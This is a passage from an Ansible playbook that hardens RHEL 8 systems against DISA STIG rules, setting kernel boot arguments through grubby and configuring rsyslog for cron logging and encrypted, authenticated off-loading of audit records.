    - ( &quot;grub2-common&quot; in ansible_facts.packages and &quot;kernel&quot; in ansible_facts.packages
      )
    - '&quot;grub2-common&quot; in ansible_facts.packages'
    - (grubby_info.stdout is not search('init_on_free=1')) or ((etc_default_grub['content']
      | b64decode) is not search('init_on_free=1'))
    tags:
    - DISA-STIG-RHEL-08-010423
    - NIST-800-53-SC-3
    - grub2_init_on_free
    - low_disruption
    - medium_complexity
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Check if pti argument is already present in /etc/default/grub
    ansible.builtin.slurp:
      src: /etc/default/grub
    register: etc_default_grub
    when: ( &quot;grub2-common&quot; in ansible_facts.packages and &quot;kernel&quot; in ansible_facts.packages
      )
    tags:
    - DISA-STIG-RHEL-08-040004
    - NIST-800-53-SI-16
    - grub2_pti_argument
    - low_disruption
    - low_severity
    - medium_complexity
    - reboot_required
    - restrict_strategy

  - name: Check if pti argument is already present
    ansible.builtin.command: /sbin/grubby --info=ALL
    register: grubby_info
    check_mode: false
    changed_when: false
    failed_when: false
    when: ( &quot;grub2-common&quot; in ansible_facts.packages and &quot;kernel&quot; in ansible_facts.packages
      )
    tags:
    - DISA-STIG-RHEL-08-040004
    - NIST-800-53-SI-16
    - grub2_pti_argument
    - low_disruption
    - low_severity
    - medium_complexity
    - reboot_required
    - restrict_strategy

  - name: Update grub defaults and the bootloader menu
    ansible.builtin.command: /sbin/grubby --update-kernel=ALL --args=&quot;pti=on&quot;
    when:
    - ( &quot;grub2-common&quot; in ansible_facts.packages and &quot;kernel&quot; in ansible_facts.packages
      )
    - (grubby_info.stdout is not search('pti=on')) or ((etc_default_grub['content']
      | b64decode) is not search('pti=on'))
    tags:
    - DISA-STIG-RHEL-08-040004
    - NIST-800-53-SI-16
    - grub2_pti_argument
    - low_disruption
    - low_severity
    - medium_complexity
    - reboot_required
    - restrict_strategy

  - name: Check if vsyscall argument is already present in /etc/default/grub
    ansible.builtin.slurp:
      src: /etc/default/grub
    register: etc_default_grub
    when:
    - ( &quot;grub2-common&quot; in ansible_facts.packages and &quot;kernel&quot; in ansible_facts.packages
      )
    - ansible_architecture == &quot;x86_64&quot;
    tags:
    - DISA-STIG-RHEL-08-010422
    - NIST-800-53-CM-7(a)
    - grub2_vsyscall_argument
    - low_disruption
    - medium_complexity
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Check if vsyscall argument is already present
    ansible.builtin.command: /sbin/grubby --info=ALL
    register: grubby_info
    check_mode: false
    changed_when: false
    failed_when: false
    when:
    - ( &quot;grub2-common&quot; in ansible_facts.packages and &quot;kernel&quot; in ansible_facts.packages
      )
    - ansible_architecture == &quot;x86_64&quot;
    tags:
    - DISA-STIG-RHEL-08-010422
    - NIST-800-53-CM-7(a)
    - grub2_vsyscall_argument
    - low_disruption
    - medium_complexity
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Update grub defaults and the bootloader menu
    ansible.builtin.command: /sbin/grubby --update-kernel=ALL --args=&quot;vsyscall=none&quot;
    when:
    - ( &quot;grub2-common&quot; in ansible_facts.packages and &quot;kernel&quot; in ansible_facts.packages
      )
    - ansible_architecture == &quot;x86_64&quot;
    - (grubby_info.stdout is not search('vsyscall=none')) or ((etc_default_grub['content']
      | b64decode) is not search('vsyscall=none'))
    tags:
    - DISA-STIG-RHEL-08-010422
    - NIST-800-53-CM-7(a)
    - grub2_vsyscall_argument
    - low_disruption
    - medium_complexity
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Ensure cron Is Logging To Rsyslog - Ensure /etc/rsyslog.conf exists
    ansible.builtin.file:
      path: /etc/rsyslog.conf
      state: touch
      modification_time: preserve
      access_time: preserve
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;rsyslog&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030010
    - NIST-800-53-CM-6(a)
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rsyslog_cron_logging

  - name: Ensure cron Is Logging To Rsyslog - Ensure /etc/rsyslog.d directory exists
    ansible.builtin.file:
      path: /etc/rsyslog.d
      state: directory
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;rsyslog&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030010
    - NIST-800-53-CM-6(a)
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rsyslog_cron_logging

  - name: Ensure cron Is Logging To Rsyslog - Remove multilined cron.* action() entries
      from rsyslog.conf
    ansible.builtin.shell: sed -i '/^[[:space:]]*cron\.\*.*action(/,/)/d' /etc/rsyslog.conf
    changed_when: true
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;rsyslog&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030010
    - NIST-800-53-CM-6(a)
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rsyslog_cron_logging

  - name: Ensure cron Is Logging To Rsyslog - Remove multilined cron.* action() entries
      from rsyslog.d/*.conf
    ansible.builtin.shell: find /etc/rsyslog.d -type f -name &quot;*.conf&quot; -exec sed -i
      '/^[[:space:]]*cron\.\*.*action(/,/)/d' {} +
    changed_when: true
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;rsyslog&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030010
    - NIST-800-53-CM-6(a)
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rsyslog_cron_logging

  - name: Remove *.* entries pointing to /var/log/cron from rsyslog.conf
    ansible.builtin.lineinfile:
      path: /etc/rsyslog.conf
      create: false
      regexp: (?i)^\s*\*\.\*\s+/var/log/cron\s*$
      state: absent
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;rsyslog&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030010
    - NIST-800-53-CM-6(a)
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rsyslog_cron_logging

  - name: Ensure cron Is Logging To Rsyslog - Remove *.* entries pointing to /var/log/cron
      from rsyslog.d/*.conf
    ansible.builtin.shell: find /etc/rsyslog.d -type f -name &quot;*.conf&quot; -exec sed -i
      '\|^\s*\*\.\*\s\+/var/log/cron\s*$|d' {} +
    changed_when: true
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;rsyslog&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030010
    - NIST-800-53-CM-6(a)
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rsyslog_cron_logging

  - name: Ensure cron Is Logging To Rsyslog - Check if the parameter cron.* is configured
      in /etc/rsyslog.conf
    ansible.builtin.lineinfile:
      path: /etc/rsyslog.conf
      regexp: ^\s*{{ &quot;cron.*&quot;| regex_escape }}
      state: absent
    check_mode: true
    changed_when: false
    register: _config_file_has_parameter
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;rsyslog&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030010
    - NIST-800-53-CM-6(a)
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rsyslog_cron_logging

  - name: Ensure cron Is Logging To Rsyslog - Check if the parameter cron.* is configured
      in /etc/rsyslog.d
    ansible.builtin.find:
      paths:
      - /etc/rsyslog.d
      contains: ^\s*{{ &quot;cron.*&quot;| regex_escape }}
    register: _config_dir_has_parameter
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;rsyslog&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030010
    - NIST-800-53-CM-6(a)
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rsyslog_cron_logging

  - name: Ensure cron Is Logging To Rsyslog - Check if the parameter cron.* is configured
      correctly in /etc/rsyslog.conf
    ansible.builtin.lineinfile:
      path: /etc/rsyslog.conf
      regexp: ^\s*{{ &quot;cron.*&quot;| regex_escape }}/var/log/cron$
      state: absent
    check_mode: true
    changed_when: false
    register: _config_file_correctly
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;rsyslog&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030010
    - NIST-800-53-CM-6(a)
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rsyslog_cron_logging

  - name: Ensure cron Is Logging To Rsyslog - Check if the parameter cron.* is configured
      correctly in /etc/rsyslog.d
    ansible.builtin.find:
      paths:
      - /etc/rsyslog.d
      contains: ^\s*{{ &quot;cron.*&quot;| regex_escape }}/var/log/cron$
    register: _config_dir_correctly
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;rsyslog&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030010
    - NIST-800-53-CM-6(a)
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rsyslog_cron_logging

  - name: Ensure cron Is Logging To Rsyslog
    block:

    - name: Deduplicate values from /etc/rsyslog.conf
      ansible.builtin.lineinfile:
        path: /etc/rsyslog.conf
        create: false
        regexp: (?i)^\s*{{ &quot;cron.*&quot;| regex_escape }}
        state: absent

    - name: Check if /etc/rsyslog.d exists
      ansible.builtin.stat:
        path: /etc/rsyslog.d
      register: _etc_rsyslog_d_exists

    - name: Check if the parameter cron.* is present in /etc/rsyslog.d
      ansible.builtin.find:
        paths: /etc/rsyslog.d
        recurse: 'yes'
        follow: 'no'
        contains: ^\s*{{ &quot;cron.*&quot;| regex_escape }}
      register: _etc_rsyslog_d_has_parameter
      when: _etc_rsyslog_d_exists.stat.isdir is defined and _etc_rsyslog_d_exists.stat.isdir

    - name: Remove parameter from files in /etc/rsyslog.d
      ansible.builtin.lineinfile:
        path: '{{ item.path }}'
        create: false
        regexp: (?i)^\s*{{ &quot;cron.*&quot;| regex_escape }}
        state: absent
      with_items: '{{ _etc_rsyslog_d_has_parameter.files | default([]) }}'
      when: _etc_rsyslog_d_has_parameter.matched &gt; 0

    - name: Insert correct line to /etc/rsyslog.d/cron.conf
      ansible.builtin.lineinfile:
        path: /etc/rsyslog.d/cron.conf
        create: true
        regexp: (?i)^\s*{{ &quot;cron.*&quot;| regex_escape }}
        line: cron.* /var/log/cron
        state: present
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;rsyslog&quot; in ansible_facts.packages'
    - (_config_file_correctly.found == 0 and _config_dir_correctly.matched == 0) or
      ((_config_file_has_parameter.found | int) + (_config_dir_has_parameter.matched
      | int)) != 1
    tags:
    - DISA-STIG-RHEL-08-030010
    - NIST-800-53-CM-6(a)
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rsyslog_cron_logging

  - name: Ensure cron Is Logging To Rsyslog - Restart the rsyslog service now
    ansible.builtin.service:
      name: rsyslog
      state: restarted
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;rsyslog&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030010
    - NIST-800-53-CM-6(a)
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rsyslog_cron_logging

  - name: Ensure Rsyslog Authenticates Off-Loaded Audit Records - Ensure /etc/rsyslog.conf
      exists
    ansible.builtin.file:
      path: /etc/rsyslog.conf
      state: touch
      modification_time: preserve
      access_time: preserve
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;rsyslog&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030720
    - NIST-800-53-AU-4(1)
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rsyslog_encrypt_offload_actionsendstreamdriverauthmode

  - name: Ensure Rsyslog Authenticates Off-Loaded Audit Records - Ensure /etc/rsyslog.d
      directory exists
    ansible.builtin.file:
      path: /etc/rsyslog.d
      state: directory
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;rsyslog&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030720
    - NIST-800-53-AU-4(1)
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rsyslog_encrypt_offload_actionsendstreamdriverauthmode

  - name: Ensure Rsyslog Authenticates Off-Loaded Audit Records - Remove RainerScript
      action() entries with StreamDriverAuthMode from rsyslog.conf
    ansible.builtin.shell: |
      sed -i '/^[[:space:]]*action(/ { :a; N; /)/!ba; /StreamDriverAuthMode/d }' /etc/rsyslog.conf
    changed_when: true
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;rsyslog&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030720
    - NIST-800-53-AU-4(1)
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rsyslog_encrypt_offload_actionsendstreamdriverauthmode

  - name: Ensure Rsyslog Authenticates Off-Loaded Audit Records - Remove RainerScript
      action() entries with StreamDriverAuthMode from rsyslog.d/*.conf
    ansible.builtin.shell: |
      find /etc/rsyslog.d -type f -name &quot;*.conf&quot; -exec sed -i '/^[[:space:]]*action(/ { :a; N; /)/!ba; /StreamDriverAuthMode/d }' {} +
    changed_when: true
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;rsyslog&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030720
    - NIST-800-53-AU-4(1)
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rsyslog_encrypt_offload_actionsendstreamdriverauthmode

  - name: Ensure Rsyslog Authenticates Off-Loaded Audit Records - Check if the parameter
      $ActionSendStreamDriverAuthMode is configured in /etc/rsyslog.conf
    ansible.builtin.lineinfile:
      path: /etc/rsyslog.conf
      regexp: ^\s*{{ &quot;$ActionSendStreamDriverAuthMode&quot;| regex_escape }}\s+
      state: absent
    check_mode: true
    changed_when: false
    register: _config_file_has_parameter
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;rsyslog&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030720
    - NIST-800-53-AU-4(1)
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rsyslog_encrypt_offload_actionsendstreamdriverauthmode

  - name: Ensure Rsyslog Authenticates Off-Loaded Audit Records - Check if the parameter
      $ActionSendStreamDriverAuthMode is configured in /etc/rsyslog.d
    ansible.builtin.find:
      paths:
      - /etc/rsyslog.d
      contains: ^\s*{{ &quot;$ActionSendStreamDriverAuthMode&quot;| regex_escape }}\s+
    register: _config_dir_has_parameter
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;rsyslog&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030720
    - NIST-800-53-AU-4(1)
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rsyslog_encrypt_offload_actionsendstreamdriverauthmode

  - name: Ensure Rsyslog Authenticates Off-Loaded Audit Records - Check if the parameter
      $ActionSendStreamDriverAuthMode is configured correctly in /etc/rsyslog.conf
    ansible.builtin.lineinfile:
      path: /etc/rsyslog.conf
      regexp: ^\s*{{ &quot;$ActionSendStreamDriverAuthMode&quot;| regex_escape }}\s+x509/name$
      state: absent
    check_mode: true
    changed_when: false
    register: _config_file_correctly
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;rsyslog&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030720
    - NIST-800-53-AU-4(1)
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rsyslog_encrypt_offload_actionsendstreamdriverauthmode

  - name: Ensure Rsyslog Authenticates Off-Loaded Audit Records - Check if the parameter
      $ActionSendStreamDriverAuthMode is configured correctly in /etc/rsyslog.d
    ansible.builtin.find:
      paths:
      - /etc/rsyslog.d
      contains: ^\s*{{ &quot;$ActionSendStreamDriverAuthMode&quot;| regex_escape }}\s+x509/name$
    register: _config_dir_correctly
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;rsyslog&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030720
    - NIST-800-53-AU-4(1)
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rsyslog_encrypt_offload_actionsendstreamdriverauthmode

  - name: Ensure Rsyslog Authenticates Off-Loaded Audit Records
    block:

    - name: Deduplicate values from /etc/rsyslog.conf
      ansible.builtin.lineinfile:
        path: /etc/rsyslog.conf
        create: false
        regexp: (?i)^\s*{{ &quot;$ActionSendStreamDriverAuthMode&quot;| regex_escape }}\s+
        state: absent

    - name: Check if /etc/rsyslog.d exists
      ansible.builtin.stat:
        path: /etc/rsyslog.d
      register: _etc_rsyslog_d_exists

    - name: Check if the parameter $ActionSendStreamDriverAuthMode is present in /etc/rsyslog.d
      ansible.builtin.find:
        paths: /etc/rsyslog.d
        recurse: 'yes'
        follow: 'no'
        contains: ^\s*{{ &quot;$ActionSendStreamDriverAuthMode&quot;| regex_escape }}\s+
      register: _etc_rsyslog_d_has_parameter
      when: _etc_rsyslog_d_exists.stat.isdir is defined and _etc_rsyslog_d_exists.stat.isdir

    - name: Remove parameter from files in /etc/rsyslog.d
      ansible.builtin.lineinfile:
        path: '{{ item.path }}'
        create: false
        regexp: (?i)^\s*{{ &quot;$ActionSendStreamDriverAuthMode&quot;| regex_escape }}\s+
        state: absent
      with_items: '{{ _etc_rsyslog_d_has_parameter.files | default([]) }}'
      when: _etc_rsyslog_d_has_parameter.matched &gt; 0

    - name: Insert correct line to /etc/rsyslog.conf
      ansible.builtin.lineinfile:
        path: /etc/rsyslog.conf
        create: true
        regexp: (?i)^\s*{{ &quot;$ActionSendStreamDriverAuthMode&quot;| regex_escape }}\s+
        line: $ActionSendStreamDriverAuthMode x509/name
        state: present
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;rsyslog&quot; in ansible_facts.packages'
    - (_config_file_correctly.found == 0 and _config_dir_correctly.matched == 0) or
      ((_config_file_has_parameter.found | int) + (_config_dir_has_parameter.matched
      | int)) != 1
    tags:
    - DISA-STIG-RHEL-08-030720
    - NIST-800-53-AU-4(1)
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rsyslog_encrypt_offload_actionsendstreamdriverauthmode

  - name: Ensure Rsyslog Encrypts Off-Loaded Audit Records - Ensure /etc/rsyslog.conf
      exists
    ansible.builtin.file:
      path: /etc/rsyslog.conf
      state: touch
      modification_time: preserve
      access_time: preserve
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;rsyslog&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030710
    - NIST-800-53-AU-4(1)
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rsyslog_encrypt_offload_actionsendstreamdrivermode

  - name: Ensure Rsyslog Encrypts Off-Loaded Audit Records - Ensure /etc/rsyslog.d
      directory exists
    ansible.builtin.file:
      path: /etc/rsyslog.d
      state: directory
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;rsyslog&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030710
    - NIST-800-53-AU-4(1)
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rsyslog_encrypt_offload_actionsendstreamdrivermode

  - name: Ensure Rsyslog Encrypts Off-Loaded Audit Records - Remove RainerScript action()
      entries with StreamDriverMode from rsyslog.conf
    ansible.builtin.shell: |
      sed -i '/^[[:space:]]*action(/ { :a; N; /)/!ba; /StreamDriverMode/d }' /etc/rsyslog.conf
    changed_when: true
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;rsyslog&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030710
    - NIST-800-53-AU-4(1)
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rsyslog_encrypt_offload_actionsendstreamdrivermode

  - name: Ensure Rsyslog Encrypts Off-Loaded Audit Records - Remove RainerScript action()
      entries with StreamDriverMode from rsyslog.d/*.conf
    ansible.builtin.shell: |
      find /etc/rsyslog.d -type f -name &quot;*.conf&quot; -exec sed -i '/^[[:space:]]*action(/ { :a; N; /)/!ba; /StreamDriverMode/d }' {} +
    changed_when: true
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;rsyslog&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030710
    - NIST-800-53-AU-4(1)
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rsyslog_encrypt_offload_actionsendstreamdrivermode

  - name: Ensure Rsyslog Encrypts Off-Loaded Audit Records - Check if the parameter
      $ActionSendStreamDriverMode is configured in /etc/rsyslog.conf
    ansible.builtin.lineinfile:
      path: /etc/rsyslog.conf
      regexp: ^\s*{{ &quot;$ActionSendStreamDriverMode&quot;| regex_escape }}\s+
      state: absent
    check_mode: true
    changed_when: false
    register: _config_file_has_parameter
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;rsyslog&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030710
    - NIST-800-53-AU-4(1)
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rsyslog_encrypt_offload_actionsendstreamdrivermode

  - name: Ensure Rsyslog Encrypts Off-Loaded Audit Records - Check if the parameter
      $ActionSendStreamDriverMode is configured in /etc/rsyslog.d
    ansible.builtin.find:
      paths:
      - /etc/rsyslog.d
      contains: ^\s*{{ &quot;$ActionSendStreamDriverMode&quot;| regex_escape }}\s+
    register: _config_dir_has_parameter
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;rsyslog&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030710
    - NIST-800-53-AU-4(1)
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rsyslog_encrypt_offload_actionsendstreamdrivermode

  - name: Ensure Rsyslog Encrypts Off-Loaded Audit Records - Check if the parameter
      $ActionSendStreamDriverMode is configured correctly in /etc/rsyslog.conf
    ansible.builtin.lineinfile:
      path: /etc/rsyslog.conf
      regexp: ^\s*{{ &quot;$ActionSendStreamDriverMode&quot;| regex_escape }}\s+1$
      state: absent
    check_mode: true
    changed_when: false
    register: _config_file_correctly
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;rsyslog&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030710
    - NIST-800-53-AU-4(1)
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rsyslog_encrypt_offload_actionsendstreamdrivermode

  - name: Ensure Rsyslog Encrypts Off-Loaded Audit Records - Check if the parameter
      $ActionSendStreamDriverMode is configured correctly in /etc/rsyslog.d
    ansible.builtin.find:
      paths:
      - /etc/rsyslog.d
      contains: ^\s*{{ &quot;$ActionSendStreamDriverMode&quot;| regex_escape }}\s+1$
    register: _config_dir_correctly
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;rsyslog&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030710
    - NIST-800-53-AU-4(1)
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rsyslog_encrypt_offload_actionsendstreamdrivermode

  - name: Ensure Rsyslog Encrypts Off-Loaded Audit Records
    block:

    - name: Deduplicate values from /etc/rsyslog.conf
      ansible.builtin.lineinfile:
        path: /etc/rsyslog.conf
        create: false
        regexp: (?i)^\s*{{ &quot;$ActionSendStreamDriverMode&quot;| regex_escape }}\s+
        state: absent

    - name: Check if /etc/rsyslog.d exists
      ansible.builtin.stat:
        path: /etc/rsyslog.d
      register: _etc_rsyslog_d_exists

    - name: Check if the parameter $ActionSendStreamDriverMode is present in /etc/rsyslog.d
      ansible.builtin.find:
        paths: /etc/rsyslog.d
        recurse: 'yes'
        follow: 'no'
        contains: ^\s*{{ &quot;$ActionSendStreamDriverMode&quot;| regex_escape }}\s+
      register: _etc_rsyslog_d_has_parameter
      when: _etc_rsyslog_d_exists.stat.isdir is defined and _etc_rsyslog_d_exists.stat.isdir

    - name: Remove parameter from files in /etc/rsyslog.d
      ansible.builtin.lineinfile:
        path: '{{ item.path }}'
        create: false
        regexp: (?i)^\s*{{ &quot;$ActionSendStreamDriverMode&quot;| regex_escape }}\s+
        state: absent
      with_items: '{{ _etc_rsyslog_d_has_parameter.files | default([]) }}'
      when: _etc_rsyslog_d_has_parameter.matched &gt; 0

    - name: Insert correct line to /etc/rsyslog.conf
      ansible.builtin.lineinfile:
        path: /etc/rsyslog.conf
        create: true
        regexp: (?i)^\s*{{ &quot;$ActionSendStreamDriverMode&quot;| regex_escape }}\s+
        line: $ActionSendStreamDriverMode 1
        state: present
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;rsyslog&quot; in ansible_facts.packages'
    - (_config_file_correctly.found == 0 and _config_dir_correctly.matched == 0) or
      ((_config_file_has_parameter.found | int) + (_config_dir_has_parameter.matched
      | int)) != 1
    tags:
    - DISA-STIG-RHEL-08-030710
    - NIST-800-53-AU-4(1)
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rsyslog_encrypt_offload_actionsendstreamdrivermode

  - name: Ensure Rsyslog Encrypts Off-Loaded Audit Records - Ensure /etc/rsyslog.conf
      exists
    ansible.builtin.file:
      path: /etc/rsyslog.conf
      state: touch
      modification_time: preserve
      access_time: preserve
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;rsyslog&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030710
    - NIST-800-53-AU-4(1)
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rsyslog_encrypt_offload_defaultnetstreamdriver

  - name: Ensure Rsyslog Encrypts Off-Loaded Audit Records - Ensure /etc/rsyslog.d
      directory exists
    ansible.builtin.file:
      path: /etc/rsyslog.d
      state: directory
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;rsyslog&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030710
    - NIST-800-53-AU-4(1)
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rsyslog_encrypt_offload_defaultnetstreamdriver

  - name: Ensure Rsyslog Encrypts Off-Loaded Audit Records - Remove RainerScript global()
      entries with DefaultNetstreamDriver from rsyslog.conf
    ansible.builtin.shell: |
      sed -i '/^[[:space:]]*global(/ { :a; N; /)/!ba; /DefaultNetstreamDriver/d }' /etc/rsyslog.conf
    changed_when: true
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;rsyslog&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030710
    - NIST-800-53-AU-4(1)
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rsyslog_encrypt_offload_defaultnetstreamdriver

  - name: Ensure Rsyslog Encrypts Off-Loaded Audit Records - Remove RainerScript global()
      entries with DefaultNetstreamDriver from rsyslog.d/*.conf
    ansible.builtin.shell: |
      find /etc/rsyslog.d -type f -name &quot;*.conf&quot; -exec sed -i '/^[[:space:]]*global(/ { :a; N; /)/!ba; /DefaultNetstreamDriver/d }' {} +
    changed_when: true
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;rsyslog&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030710
    - NIST-800-53-AU-4(1)
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rsyslog_encrypt_offload_defaultnetstreamdriver

  - name: Ensure Rsyslog Encrypts Off-Loaded Audit Records - Check if the parameter
      $DefaultNetstreamDriver is configured in /etc/rsyslog.conf
    ansible.builtin.lineinfile:
      path: /etc/rsyslog.conf
      regexp: ^\s*{{ &quot;$DefaultNetstreamDriver&quot;| regex_escape }}\s+
      state: absent
    check_mode: true
    changed_when: false
    register: _config_file_has_parameter
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;rsyslog&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030710
    - NIST-800-53-AU-4(1)
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rsyslog_encrypt_offload_defaultnetstreamdriver

  - name: Ensure Rsyslog Encrypts Off-Loaded Audit Records - Check if the parameter
      $DefaultNetstreamDriver is configured in /etc/rsyslog.d
    ansible.builtin.find:
      paths:
      - /etc/rsyslog.d
      contains: ^\s*{{ &quot;$DefaultNetstreamDriver&quot;| regex_escape }}\s+
    register: _config_dir_has_parameter
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;rsyslog&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030710
    - NIST-800-53-AU-4(1)
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - rsyslog_encrypt_offload_defaultnetstreamdriver

